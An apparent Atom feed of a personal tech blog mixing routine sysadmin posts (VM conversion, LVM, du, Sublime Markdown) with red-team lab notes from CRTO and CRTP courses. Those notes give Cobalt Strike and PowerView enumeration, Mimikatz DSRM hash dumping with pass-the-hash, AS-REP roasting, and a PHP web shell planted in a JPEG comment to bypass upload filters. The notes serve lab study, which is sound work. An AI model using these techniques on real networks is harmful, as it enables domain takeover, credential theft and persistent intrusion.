<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.9.5">Jekyll</generator><link href="https://joshnutt.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://joshnutt.com/" rel="alternate" type="text/html" /><updated>2024-05-31T19:11:27+00:00</updated><id>https://joshnutt.com/feed.xml</id><title type="html">Josh Nutt</title><subtitle>My tech blog.</subtitle><author><name>Josh Nutt</name></author><entry><title type="html">Converting the Maldev Academy OVA to Hyper-V</title><link href="https://joshnutt.com/Convert-Maldev-Academy-OVA-to-HyperV/" rel="alternate" type="text/html" title="Converting the Maldev Academy OVA to Hyper-V" /><published>2024-05-31T00:00:00+00:00</published><updated>2024-05-31T00:00:00+00:00</updated><id>https://joshnutt.com/Convert-Maldev-Academy-OVA-to-HyperV</id><content type="html" xml:base="https://joshnutt.com/Convert-Maldev-Academy-OVA-to-HyperV/"><![CDATA[<p>Just a quick note for myself on converting the Maldev Academy OVA to Hyper-V</p>

<p>i used VBox Manage to do this, which is included with Oracle Virtualbox installation.</p>

<p>Use VBoxManage to clone the HD to <code class="language-plaintext highlighter-rouge">.vhd</code> format:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.\VBoxManage.exe clonehd --format vhd "C:\path\from\Maldev-Academy-disk1.vmdk" "C:\path\to\MaldevDisk.vhd"
</code></pre></div></div>

<p>I then had to convert to <code class="language-plaintext highlighter-rouge">.vhdx</code> format:</p>
<pre><code class="language-Powershell">Convert-VHD -Path C:\path\from\MaldevDisk.vhd -DestinationPath C:\path\to\MaldevDisk.vhdx
</code></pre>

<p>Then in Hyper-V just go to <code class="language-plaintext highlighter-rouge">action &gt; import virtual machine</code> to import the <code class="language-plaintext highlighter-rouge">.vhdx</code></p>]]></content><author><name>Josh Nutt</name></author><category term="malware-development" /><category term="Hyper-V" /><summary type="html"><![CDATA[Just a quick note for myself on converting the Maldev Academy OVA to Hyper-V]]></summary></entry><entry><title type="html">Constrained Delegation - Cobalt Strike and PowerView</title><link href="https://joshnutt.com/Constrained-Delegation-With-Cobalt-Strike-and-PowerView/" rel="alternate" type="text/html" title="Constrained Delegation - Cobalt Strike and PowerView" /><published>2022-05-25T00:00:00+00:00</published><updated>2022-05-25T00:00:00+00:00</updated><id>https://joshnutt.com/Constrained-Delegation-With-Cobalt-Strike-and-PowerView</id><content type="html" xml:base="https://joshnutt.com/Constrained-Delegation-With-Cobalt-Strike-and-PowerView/"><![CDATA[<p>While working on the CRTO lab I wanted to try using PowerShell to find Constrained Delegation like I did in the CRTP course.  They used PowerView, so I figured I’d try using it here.</p>

<h2 id="lets-do-it">Lets do it!</h2>
<p>Listing with PowerView:</p>
<pre><code class="language-PowerShell"># Load PowerView
beacon&gt; powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1

# Get computer or user with constrained delegation
beacon&gt; powershell Get-DomainUser –TrustedToAuth
beacon&gt; powershell Get-DomainComputer –TrustedToAuth
beacon&gt; powershell Get-DomainComputer –TrustedToAuth | select dnshostname

# interesting:
msds-allowedtodelegateto      : {eventlog/dc-2.dev.cyberbotic.io/dev.cyberbotic
                                .io, eventlog/dc-2.dev.cyberbotic.io, 
                                eventlog/DC-2, 
                                eventlog/dc-2.dev.cyberbotic.io/DEV...}

</code></pre>

<blockquote>
  <p><strong>MSDS-AllowedToDelegateTo</strong>
This is an attribute on service account (computer or user account) objects. It contains a list of Service Principal Names (SPNs). This attribute is used to configure a service so that it can obtain service tickets that can be used for Constrained Delegation.</p>
</blockquote>

<p>Cool, lets expand that attribute to see what we can access:</p>
<pre><code class="language-PowerShell">beacon&gt; powershell get-domaincomputer -trustedtoauth | select -expandproperty MSDS-AllowedToDelegateTo

eventlog/dc-2.dev.cyberbotic.io/dev.cyberbotic.io
eventlog/dc-2.dev.cyberbotic.io
eventlog/DC-2
eventlog/dc-2.dev.cyberbotic.io/DEV
eventlog/DC-2/DEV
cifs/wkstn-2.dev.cyberbotic.io
cifs/WKSTN-2
</code></pre>

<p>We have <code class="language-plaintext highlighter-rouge">eventlog</code> on a few domain controllers, and <code class="language-plaintext highlighter-rouge">CIFS</code> on a workstation.</p>

<blockquote>
  <p><strong>CIFS</strong>
CIFS (Common Internet File System) is a <em>particular implementation</em> of the Server Message Block protocol, created by Microsoft.</p>
</blockquote>]]></content><author><name>Josh Nutt</name></author><category term="active-directory" /><category term="hacking" /><category term="cobalt-strike" /><category term="red-team" /><category term="crto" /><summary type="html"><![CDATA[While working on the CRTO lab I wanted to try using PowerShell to find Constrained Delegation like I did in the CRTP course. They used PowerView, so I figured I’d try using it here.]]></summary></entry><entry><title type="html">Persistence With DSRM And Mimikatz</title><link href="https://joshnutt.com/Persistence-With-DSRM-And-Mimikatz/" rel="alternate" type="text/html" title="Persistence With DSRM And Mimikatz" /><published>2022-05-03T00:00:00+00:00</published><updated>2022-05-03T00:00:00+00:00</updated><id>https://joshnutt.com/Persistence-With-DSRM-And-Mimikatz</id><content type="html" xml:base="https://joshnutt.com/Persistence-With-DSRM-And-Mimikatz/"><![CDATA[<p>We have domain admin, lets really sink our hook in and ensure persistence.</p>

<p>It’s pretty easy with <a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1">‘Invoke-Mimikatz.ps1’</a></p>

<h2 id="what-is-dsrm">What is DSRM?</h2>
<p>Directory Services Restore Mode (aka DSRM), is a safe mode boot option for Windows Server domain controllers.  This is a backdoor to the database for administrators to used to repair, recover, and restore an Active Directory database.</p>

<h2 id="exploit">Exploit</h2>
<p>There is a local administrator on every DC called “Administrator” whose password is the DSRM password.</p>

<p>DSRM password (SafeModePassword) is required when a server is<br />
promoted to Domain Controller and it is rarely changed.</p>

<p>After altering the configuration on the DC, it is possible to pass the<br />
NTLM hash of this user to access the DC.</p>

<pre><code class="language-PowerShell"># Dump DSRM password (needs DA privs)  
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dcorp-dc

RID  : 000001f4 (500)
User : Administrator
NTLM : a102ad5753f4c441e3af31c97fad86fd
</code></pre>

<pre><code class="language-PowerShell"># Compare the Administrator hash with the Administrator hash of below command  
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dcorp-dc

RID  : 000001f4 (500)
User : Administrator
NTLM : af0686cc0ca8f04df42210c9ac980760
</code></pre>

<h4 id="change-logon-behavior">Change logon behavior</h4>
<p>The Logon Behavior for the DSRM account needs to be changed<br />
before we can use its hash.</p>

<pre><code class="language-PowerShell">Enter-PSSession -Computername dcorp-dc  
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
</code></pre>

<h4 id="pass-the-hash">Pass the hash</h4>
<pre><code class="language-PowerShell">Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:a102ad5753f4c441e3af31c97fad86fd /run:powershell.exe"'
</code></pre>]]></content><author><name>Josh Nutt</name></author><category term="hacking" /><category term="crtp" /><category term="persistence" /><category term="powershell" /><summary type="html"><![CDATA[We have domain admin, lets really sink our hook in and ensure persistence.]]></summary></entry><entry><title type="html">AS-REP Roast: PowerShell</title><link href="https://joshnutt.com/AS-REP-Roast/" rel="alternate" type="text/html" title="AS-REP Roast: PowerShell" /><published>2022-03-05T00:00:00+00:00</published><updated>2022-03-05T00:00:00+00:00</updated><id>https://joshnutt.com/AS-REP-Roast</id><content type="html" xml:base="https://joshnutt.com/AS-REP-Roast/"><![CDATA[<p>If a user’s UserAccountControl settings have <code class="language-plaintext highlighter-rouge">Do Not Require Kerberos preauthentication</code> enabled it is possible to grab user’s crackable AS-REP and brute-force it offline.</p>

<p>With sufficient rights (GenericWrite or GenericAll), Kerberos preauth can be forced disabled as well.</p>

<h4 id="enumeration">Enumeration</h4>
<pre><code class="language-PowerShell"># Using PowerView (dev) 
Get-DomainUser -PreauthNotRequired -Verbose  
</code></pre>

<pre><code class="language-PowerShell"># Using ActiveDirectory module:  
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
</code></pre>

<pre><code class="language-PowerShell"># Enumerate the permissions for RDPUsers on ACLs using PowerView(dev):
Invoke-ACLScanner -ResolveGUIDs |
?{$_.IdentityReferenceName -match "RDPUsers"} 
</code></pre>

<h4 id="forcing-kerberos-pre-auth">Forcing Kerberos pre-auth</h4>
<pre><code class="language-PowerShell">Set-DomainObject -Identity TargetUser5 -XOR @{useraccountcontrol=4194304} –Verbose
</code></pre>

<h4 id="request-encrypted-as-rep-for-offline-brute-force">Request encrypted AS-REP for offline brute-force</h4>
<p>https://github.com/HarmJ0y/ASREPRoast</p>

<pre><code class="language-PowerShell"># Using ASREPROAST 
Get-ASREPHash -UserName VPN1user -Verbose  
</code></pre>

<pre><code class="language-PowerShell"># To enumerate all users with Kerberos preauth disabled and request a hash  
Invoke-ASREPRoast -Verbose
</code></pre>]]></content><author><name>Josh Nutt</name></author><category term="hacking" /><category term="kerberos" /><category term="red-team" /><summary type="html"><![CDATA[If a user’s UserAccountControl settings have Do Not Require Kerberos preauthentication enabled it is possible to grab user’s crackable AS-REP and brute-force it offline.]]></summary></entry><entry><title type="html">Encountering Kerberos Encryption Types</title><link href="https://joshnutt.com/Encountering-Kerberos-Encryption-Types/" rel="alternate" type="text/html" title="Encountering Kerberos Encryption Types" /><published>2022-03-02T00:00:00+00:00</published><updated>2022-03-02T00:00:00+00:00</updated><id>https://joshnutt.com/Encountering-Kerberos-Encryption-Types</id><content type="html" xml:base="https://joshnutt.com/Encountering-Kerberos-Encryption-Types/"><![CDATA[<p>While working on the CRTO course I ran into a hash that I couldn’t crack with Hashcat.  Instead returning an error indicating the hash is invalid.</p>

<p>John could crack it though. What the heck?!</p>

<p>The hash was in this format:</p>
<pre><code class="language-PowerShell">$krb5asrep$svc_oracle@dev.cyberbotic.io:A20A58[...]
</code></pre>

<p>But it turns out the hash should have been like this, note the <strong>23</strong>:</p>
<pre><code class="language-Powershell"># 23 = rc4-hmac
$krb5asrep$23$svc_oracle@dev.cyberbotic.io:A20A58[...]
</code></pre>

<h2 id="so-what-are-kerberos-encryption-types">So.. what are Kerberos Encryption Types?</h2>
<p>A Kerberos <strong>encryption type</strong> is a specific combination of a cipher algorithm with an integrity algorithm to provide both confidentiality and integrity to data.</p>

<h4 id="how-are-they-defined">How are they defined?</h4>
<p>Kerberos Encryption Types (etype) are defined in an IANA Registry at: Kerberos Encryption Type Numbers](https://www.iana.org/assignments/kerberos-parameters/kerberos-parameters.xhtml#kerberos-parameters-1)</p>

<p>These are signed values ranging from -2147483648 to 2147483647.</p>

<ul>
  <li>Positive values should be assigned only for algorithms specified in accordance with this specification for use with Kerberos or related protocols.</li>
  <li>Negative values are for private use; local and experimental algorithms should use these values.</li>
  <li>Zero is reserved and may not be assigned.</li>
</ul>

<h2 id="etypes-for-windows">etypes for Windows</h2>
<p>Kerberos Encryption Types for Microsoft Windows are decided by the <code class="language-plaintext highlighter-rouge">MsDS-SupportedEncryptionTypes</code> values or the defaults if not set.</p>

<p><code class="language-plaintext highlighter-rouge">MsDS-SupportedEncryptionTypes</code> values can be set from a Group Policy Object.</p>

<h2 id="why-would-somebody-use-a-more-insecure-encryption-type">Why would somebody use a more insecure encryption type?</h2>
<p>To improve interoperability with computers running older versions of Windows.  A service should use the strongest enctype that both the service and the Key Distribution Center support.</p>

<p>Contemporary non-Windows implementations of the Kerberos protocol support:</p>
<ul>
  <li>RC4</li>
  <li>AES 128-bit</li>
  <li>AES 256-bit</li>
</ul>

<p>Most implementations are deprecating DES encryption.</p>

<h2 id="docs">Docs</h2>
<ul>
  <li><a href="http://pig.made-it.com/kerberos-etypes.html">“Kerberos Encryption Type Reference”</a></li>
</ul>]]></content><author><name>Josh Nutt</name></author><category term="hacking" /><category term="kerberos" /><category term="crto" /><summary type="html"><![CDATA[While working on the CRTO course I ran into a hash that I couldn’t crack with Hashcat. Instead returning an error indicating the hash is invalid.]]></summary></entry><entry><title type="html">Bypassing Upload Restrictions</title><link href="https://joshnutt.com/Bypassing-Upload-Restrictions/" rel="alternate" type="text/html" title="Bypassing Upload Restrictions" /><published>2022-02-01T00:00:00+00:00</published><updated>2022-02-01T00:00:00+00:00</updated><id>https://joshnutt.com/Bypassing-Upload-Restrictions</id><content type="html" xml:base="https://joshnutt.com/Bypassing-Upload-Restrictions/"><![CDATA[<p>PHP has multiple alternative extensions:</p>
<blockquote>
  <p>phtml, .php, .php3, .php4, .php5, and .inc</p>
</blockquote>

<p>It might be possible to upload and execute a <code class="language-plaintext highlighter-rouge">.php</code> file simply by renaming it <code class="language-plaintext highlighter-rouge">file.php.jpg</code> or <code class="language-plaintext highlighter-rouge">file.PHp</code>.</p>

<p>Add a null byte at the end</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cp </span>payload.php payload.php%00.jpg
</code></pre></div></div>

<p>Put a payload inside a jpg file, into the exgif data.  Most web servers scan the file, and when it scans the file it executes the php data in the exgif file.</p>

<p>Use exiftool</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>exiftool <span class="nt">-Comment</span><span class="o">=</span><span class="s2">"&lt;?php system(</span><span class="nv">$_GET</span><span class="s2">['cmd']); ?&gt;"</span> pic.jpg
</code></pre></div></div>]]></content><author><name>Josh Nutt</name></author><summary type="html"><![CDATA[PHP has multiple alternative extensions: phtml, .php, .php3, .php4, .php5, and .inc]]></summary></entry><entry><title type="html">If Statements and AD Objects</title><link href="https://joshnutt.com/If-Statements-and-AD-Objects/" rel="alternate" type="text/html" title="If Statements and AD Objects" /><published>2021-09-07T00:00:00+00:00</published><updated>2021-09-07T00:00:00+00:00</updated><id>https://joshnutt.com/If-Statements-and-AD-Objects</id><content type="html" xml:base="https://joshnutt.com/If-Statements-and-AD-Objects/"><![CDATA[<p>Check if AD Object returned is group or user:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="nv">$adObject</span><span class="o">.</span><span class="nf">objectClass</span><span class="w"> </span><span class="o">-eq</span><span class="w"> </span><span class="s2">"group"</span><span class="p">){</span><span class="w">

</span><span class="p">}</span><span class="w">

</span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="nv">$adObject</span><span class="o">.</span><span class="nf">objectClass</span><span class="w"> </span><span class="o">-eq</span><span class="w"> </span><span class="s2">"user"</span><span class="p">){</span><span class="w">

</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Check if multiple users returned from a get-aduser query:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="nv">$User</span><span class="w"> </span><span class="o">-is</span><span class="w"> </span><span class="p">[</span><span class="n">system.array</span><span class="p">]){</span><span class="w">
    </span><span class="c"># Throw an error, multiple users returned</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="kr">elseif</span><span class="w"> </span><span class="p">(</span><span class="nv">$User</span><span class="w"> </span><span class="o">-is</span><span class="w"> </span><span class="p">[</span><span class="n">Microsoft.ActiveDirectory.Management.ADAccount</span><span class="p">]){</span><span class="w">
    </span><span class="c"># do something</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>]]></content><author><name>Josh Nutt</name></author><category term="active-directory" /><category term="powershell" /><summary type="html"><![CDATA[Check if AD Object returned is group or user: if ($adObject.objectClass -eq "group"){ } if ($adObject.objectClass -eq "user"){ } Check if multiple users returned from a get-aduser query: if ($User -is [system.array]){ # Throw an error, multiple users returned } elseif ($User -is [Microsoft.ActiveDirectory.Management.ADAccount]){ # do something }]]></summary></entry><entry><title type="html">Linux Disk Cleanup</title><link href="https://joshnutt.com/linux-disk-cleanup/" rel="alternate" type="text/html" title="Linux Disk Cleanup" /><published>2021-01-15T00:00:00+00:00</published><updated>2021-01-15T00:00:00+00:00</updated><id>https://joshnutt.com/linux-disk-cleanup</id><content type="html" xml:base="https://joshnutt.com/linux-disk-cleanup/"><![CDATA[<h1 id="cleanup-disks-in-linux">Cleanup disks in Linux</h1>

<p>The drives in one of my lab servers was full but I couldn’t figure out what was filling it up until I discovered <code class="language-plaintext highlighter-rouge">du</code>!</p>

<p><code class="language-plaintext highlighter-rouge">du</code>,or “Disk Usage”, is a standard Linux/Unix command that reports on disk space used by the given files/directories.
It is great for finding files or directories consuming tons of disk space.</p>

<h1 id="du-you-know-how-to-use-du">Du you know how to use <code class="language-plaintext highlighter-rouge">du</code>?</h1>

<p>I like using <code class="language-plaintext highlighter-rouge">du</code> like this:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">du</span> <span class="nt">-h</span> <span class="nt">--max-depth</span><span class="o">=</span>1
</code></pre></div></div>
<ul>
  <li><code class="language-plaintext highlighter-rouge">-h</code>,<code class="language-plaintext highlighter-rouge">--human-readable</code>
    <ul>
      <li>Converts values to K/M/G for human readability</li>
    </ul>
  </li>
  <li><code class="language-plaintext highlighter-rouge">--max-depth=1</code>
    <ul>
      <li>Print total for directory only if it is N or fewer levels below command line argument</li>
      <li>I felt like this helped me narrow down which directory was causing the issue, it also made it easier to read the output, in my opinion.</li>
    </ul>
  </li>
</ul>

<p>Results:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>7.7M    ./bin
0       ./boot
960K    ./dev
1.6M    ./etc
0       ./home
24M     ./lib
0       ./lib64
0       ./media
0       ./mnt
2.1G    ./opt
</code></pre></div></div>

<p>I then <code class="language-plaintext highlighter-rouge">cd</code> into the offending directory, <code class="language-plaintext highlighter-rouge">./opt</code> in this case, and run the same command.</p>

<p>I continued like this until I find the root cause deleted it.</p>]]></content><author><name>Josh Nutt</name></author><summary type="html"><![CDATA[Cleanup disks in Linux The drives in one of my lab servers was full but I couldn’t figure out what was filling it up until I discovered du! du,or “Disk Usage”, is a standard Linux/Unix command that reports on disk space used by the given files/directories. It is great for finding files or directories consuming tons of disk space. Du you know how to use du? I like using du like this: du -h --max-depth=1 -h,--human-readable Converts values to K/M/G for human readability --max-depth=1 Print total for directory only if it is N or fewer levels below command line argument I felt like this helped me narrow down which directory was causing the issue, it also made it easier to read the output, in my opinion. Results: 7.7M ./bin 0 ./boot 960K ./dev 1.6M ./etc 0 ./home 24M ./lib 0 ./lib64 0 ./media 0 ./mnt 2.1G ./opt I then cd into the offending directory, ./opt in this case, and run the same command. I continued like this until I find the root cause deleted it.]]></summary></entry><entry><title type="html">Setting Up Sublime Text For Markdown Files</title><link href="https://joshnutt.com/Setting-Up-Sublime-Text-for-Markdown-Files/" rel="alternate" type="text/html" title="Setting Up Sublime Text For Markdown Files" /><published>2020-12-28T00:00:00+00:00</published><updated>2020-12-28T00:00:00+00:00</updated><id>https://joshnutt.com/Setting-Up-Sublime-Text-for-Markdown-Files</id><content type="html" xml:base="https://joshnutt.com/Setting-Up-Sublime-Text-for-Markdown-Files/"><![CDATA[<h3 id="what-is-markdown">What is Markdown?</h3>
<p>Markdown is a <strong>lightweight markup language</strong> and uses a <strong>plain-text-formatting</strong> syntax. Markdown is often <strong>used to format readme files</strong> and can create rich text using a plain text editor. <br /></p>

<p>Its design allows it to be converted to many output formats and I often convert markdown documentation to Word or PDF formats.</p>

<p><br /></p>

<h1 id="packages">Packages</h1>
<p>Packages extend Sublime Text’s functionality significantly and, with the help of Package Control, are very easy to install.
<br /></p>

<p>I use these packages to help me write markdown documentation:</p>
<ul>
  <li>MarkdownEditing</li>
  <li>MarkdownTableFormatter</li>
  <li>MarkdownPreview</li>
  <li>Pandoc</li>
</ul>

<p><br /></p>

<h3 id="installing-package-control">Installing Package Control</h3>
<p>Package Control makes it easy to find, install, and update packages in Sublime Text.</p>

<ul>
  <li>Open the command palette: <kbd>CTRL</kbd>+<kbd>SHIFT</kbd>+<kbd>P</kbd></li>
  <li>Type <code class="language-plaintext highlighter-rouge">Install Package Control</code></li>
  <li>Press <kbd>Enter</kbd></li>
</ul>

<p><br /></p>

<h3 id="markdownediting">MarkdownEditing</h3>
<blockquote>
  <p>Markdown plugin for Sublime Text. Provides a decent Markdown color scheme (light and dark) with more robust syntax highlighting and useful Markdown editing features for Sublime Text.</p>
</blockquote>

<p>https://github.com/SublimeText-Markdown/MarkdownEditing</p>

<ul>
  <li>Open Package Control’s Command Pallet: <kbd>CTRL</kbd>+<kbd>SHIFT</kbd>+<kbd>P</kbd></li>
  <li>Type <code class="language-plaintext highlighter-rouge">install package</code> and press <kbd>Enter</kbd>.  A list of available packages will be displayed.</li>
  <li>Type <code class="language-plaintext highlighter-rouge">MarkdownEditing</code> and press <kbd>Enter</kbd> again.</li>
  <li>Restart Sublime Text 3</li>
</ul>

<p><br /></p>

<h3 id="wysiwyg-with-markdownpreview">WYSIWYG with MarkdownPreview</h3>
<blockquote>
  <p>Preview and build your markdown files quickly in your web browser using Sublime Text 3</p>
</blockquote>

<p>https://github.com/facelessuser/MarkdownPreview</p>

<ul>
  <li>Open Package Control’s Command Pallet: <kbd>CTRL</kbd>+<kbd>SHIFT</kbd>+<kbd>P</kbd></li>
  <li>Type <code class="language-plaintext highlighter-rouge">install package</code> and press <kbd>Enter</kbd>.  A list of available packages will be displayed.</li>
  <li>Type <code class="language-plaintext highlighter-rouge">MarkdownPreview</code> and press <kbd>Enter</kbd> again.</li>
  <li>Restart Sublime Text 3</li>
</ul>

<p><br /></p>

<h3 id="converting-markdown-to-other-file-types">Converting Markdown to Other File Types</h3>
<p>Markdown can be easily converted to other formats and I find this usesful for sharing documents with other users.</p>

<p>I use Pandoc which needs to be installed outside of Sublime. You can find the installation steps here: <br /> https://pandoc.org/installing.html</p>

<p>Once installed you can add the Pandoc package to Sublime.</p>

<ul>
  <li>Open Package Control’s Command Pallet: <kbd>CTRL</kbd>+<kbd>SHIFT</kbd>+<kbd>P</kbd></li>
  <li>Type <code class="language-plaintext highlighter-rouge">install package</code> and press <kbd>Enter</kbd>.  A list of available packages will be displayed.</li>
  <li>Type <code class="language-plaintext highlighter-rouge">Pandoc</code> and press <kbd>Enter</kbd> again.</li>
</ul>

<p>To use the Pandoc package:</p>
<ul>
  <li>Open Package Control’s Command Pallet: <kbd>CTRL</kbd>+<kbd>SHIFT</kbd>+<kbd>P</kbd></li>
  <li>Type <code class="language-plaintext highlighter-rouge">Pandoc</code> and press <kbd>Enter</kbd>.</li>
  <li>Pick the exported file type from the list.</li>
  <li>Your file will open in your default viewer for that file type.</li>
</ul>]]></content><author><name>Josh Nutt</name></author><summary type="html"><![CDATA[What is Markdown? Markdown is a lightweight markup language and uses a plain-text-formatting syntax. Markdown is often used to format readme files and can create rich text using a plain text editor. Its design allows it to be converted to many output formats and I often convert markdown documentation to Word or PDF formats. Packages Packages extend Sublime Text’s functionality significantly and, with the help of Package Control, are very easy to install. I use these packages to help me write markdown documentation: MarkdownEditing MarkdownTableFormatter MarkdownPreview Pandoc Installing Package Control Package Control makes it easy to find, install, and update packages in Sublime Text. Open the command palette: CTRL+SHIFT+P Type Install Package Control Press Enter MarkdownEditing Markdown plugin for Sublime Text. Provides a decent Markdown color scheme (light and dark) with more robust syntax highlighting and useful Markdown editing features for Sublime Text. https://github.com/SublimeText-Markdown/MarkdownEditing Open Package Control’s Command Pallet: CTRL+SHIFT+P Type install package and press Enter. A list of available packages will be displayed. Type MarkdownEditing and press Enter again. Restart Sublime Text 3 WYSIWYG with MarkdownPreview Preview and build your markdown files quickly in your web browser using Sublime Text 3 https://github.com/facelessuser/MarkdownPreview Open Package Control’s Command Pallet: CTRL+SHIFT+P Type install package and press Enter. A list of available packages will be displayed. Type MarkdownPreview and press Enter again. Restart Sublime Text 3 Converting Markdown to Other File Types Markdown can be easily converted to other formats and I find this usesful for sharing documents with other users. I use Pandoc which needs to be installed outside of Sublime. You can find the installation steps here: https://pandoc.org/installing.html Once installed you can add the Pandoc package to Sublime. Open Package Control’s Command Pallet: CTRL+SHIFT+P Type install package and press Enter. A list of available packages will be displayed. Type Pandoc and press Enter again. To use the Pandoc package: Open Package Control’s Command Pallet: CTRL+SHIFT+P Type Pandoc and press Enter. Pick the exported file type from the list. Your file will open in your default viewer for that file type.]]></summary></entry><entry><title type="html">Unable To Extend Partition</title><link href="https://joshnutt.com/Unable-to-extend-partition/" rel="alternate" type="text/html" title="Unable To Extend Partition" /><published>2020-12-21T00:00:00+00:00</published><updated>2020-12-21T00:00:00+00:00</updated><id>https://joshnutt.com/Unable-to-extend-partition</id><content type="html" xml:base="https://joshnutt.com/Unable-to-extend-partition/"><![CDATA[<p>There are several guides on how to extend logical volume space, but nothing showing what to do if your virtual group and logical volume is full.</p>

<p>create  partition</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>fdisk /dev/sda

<span class="nb">command</span> <span class="o">(</span>m <span class="k">for </span><span class="nb">help</span><span class="o">)</span>: n
<span class="nb">command</span> <span class="o">(</span>m <span class="k">for </span><span class="nb">help</span><span class="o">)</span>: p
First sector <span class="o">(</span>93634560-314572799, default 93634560<span class="o">)</span>:
Last sector, +sectors or +size<span class="o">{</span>K,M,G<span class="o">}</span> <span class="o">(</span>93634560-314572799, default 314572799<span class="o">)</span>:

</code></pre></div></div>

<p>Create a physical volume from the partition</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>lvm pvcreate /dev/sda3
</code></pre></div></div>

<p>My drive was too full to do the extension, so I deleted some old logs.</p>

<p>Extend vg</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vgextend centos_centos7 /dev/sda3
</code></pre></div></div>

<p>The logical volume was too full, and the +100%FREE was not working</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>lvextend <span class="nt">-An</span> <span class="nt">-r</span> <span class="nt">-L</span> +10g /dev/centos_centos7/root
</code></pre></div></div>

<p>Once the LV was extended a bit I could extend the rest of the way</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code> lvextend /dev/centos_centos7/root <span class="nt">-l</span>+100%FREE
</code></pre></div></div>

<p>Extend XFS</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">df</span> <span class="nt">-h</span>

Filesystem                       Size  Used Avail Use% Mounted on
/dev/mapper/centos_centos7-root   23G   23G   20K 100% /
devtmpfs                         4.8G     0  4.8G   0% /dev
tmpfs                            4.9G  8.0K  4.9G   1% /dev/shm
tmpfs                            4.9G  490M  4.4G  10% /run
tmpfs                            4.9G     0  4.9G   0% /sys/fs/cgroup
/dev/sda1                       1014M  147M  868M  15% /boot
overlay                           23G   23G   20K 100% /var/lib/docker/overlay2/
</code></pre></div></div>

<p>100% full on overlay.</p>

<p>We need to extend the XFS file system</p>

<p>-n shows the xfs file data, and does not extend.</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>xfs_growfs <span class="nt">-n</span> /var/lib/docker/

meta-data<span class="o">=</span>/dev/mapper/centos_centos7-root <span class="nv">isize</span><span class="o">=</span>512    <span class="nv">agcount</span><span class="o">=</span>8, <span class="nv">agsize</span><span class="o">=</span>798208 blks
         <span class="o">=</span>                       <span class="nv">sectsz</span><span class="o">=</span>512   <span class="nv">attr</span><span class="o">=</span>2, <span class="nv">projid32bit</span><span class="o">=</span>1
         <span class="o">=</span>                       <span class="nv">crc</span><span class="o">=</span>1        <span class="nv">finobt</span><span class="o">=</span>0 <span class="nv">spinodes</span><span class="o">=</span>0
data     <span class="o">=</span>                       <span class="nv">bsize</span><span class="o">=</span>4096   <span class="nv">blocks</span><span class="o">=</span>5814272, <span class="nv">imaxpct</span><span class="o">=</span>25
         <span class="o">=</span>                       <span class="nv">sunit</span><span class="o">=</span>0      <span class="nv">swidth</span><span class="o">=</span>0 blks
naming   <span class="o">=</span>version 2              <span class="nv">bsize</span><span class="o">=</span>4096   ascii-ci<span class="o">=</span>0 <span class="nv">ftype</span><span class="o">=</span>1
log      <span class="o">=</span>internal               <span class="nv">bsize</span><span class="o">=</span>4096   <span class="nv">blocks</span><span class="o">=</span>2560, <span class="nv">version</span><span class="o">=</span>2
         <span class="o">=</span>                       <span class="nv">sectsz</span><span class="o">=</span>512   <span class="nv">sunit</span><span class="o">=</span>0 blks, lazy-count<span class="o">=</span>1
realtime <span class="o">=</span>none                   <span class="nv">extsz</span><span class="o">=</span>4096   <span class="nv">blocks</span><span class="o">=</span>0, <span class="nv">rtextents</span><span class="o">=</span>0
</code></pre></div></div>

<p>no flag, extends, note the blocks changing.</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>xfs_growfs /var/lib/docker/

meta-data<span class="o">=</span>/dev/mapper/centos_centos7-root <span class="nv">isize</span><span class="o">=</span>512    <span class="nv">agcount</span><span class="o">=</span>8, <span class="nv">agsize</span><span class="o">=</span>798208 blks
         <span class="o">=</span>                       <span class="nv">sectsz</span><span class="o">=</span>512   <span class="nv">attr</span><span class="o">=</span>2, <span class="nv">projid32bit</span><span class="o">=</span>1
         <span class="o">=</span>                       <span class="nv">crc</span><span class="o">=</span>1        <span class="nv">finobt</span><span class="o">=</span>0 <span class="nv">spinodes</span><span class="o">=</span>0
data     <span class="o">=</span>                       <span class="nv">bsize</span><span class="o">=</span>4096   <span class="nv">blocks</span><span class="o">=</span>5814272, <span class="nv">imaxpct</span><span class="o">=</span>25
         <span class="o">=</span>                       <span class="nv">sunit</span><span class="o">=</span>0      <span class="nv">swidth</span><span class="o">=</span>0 blks
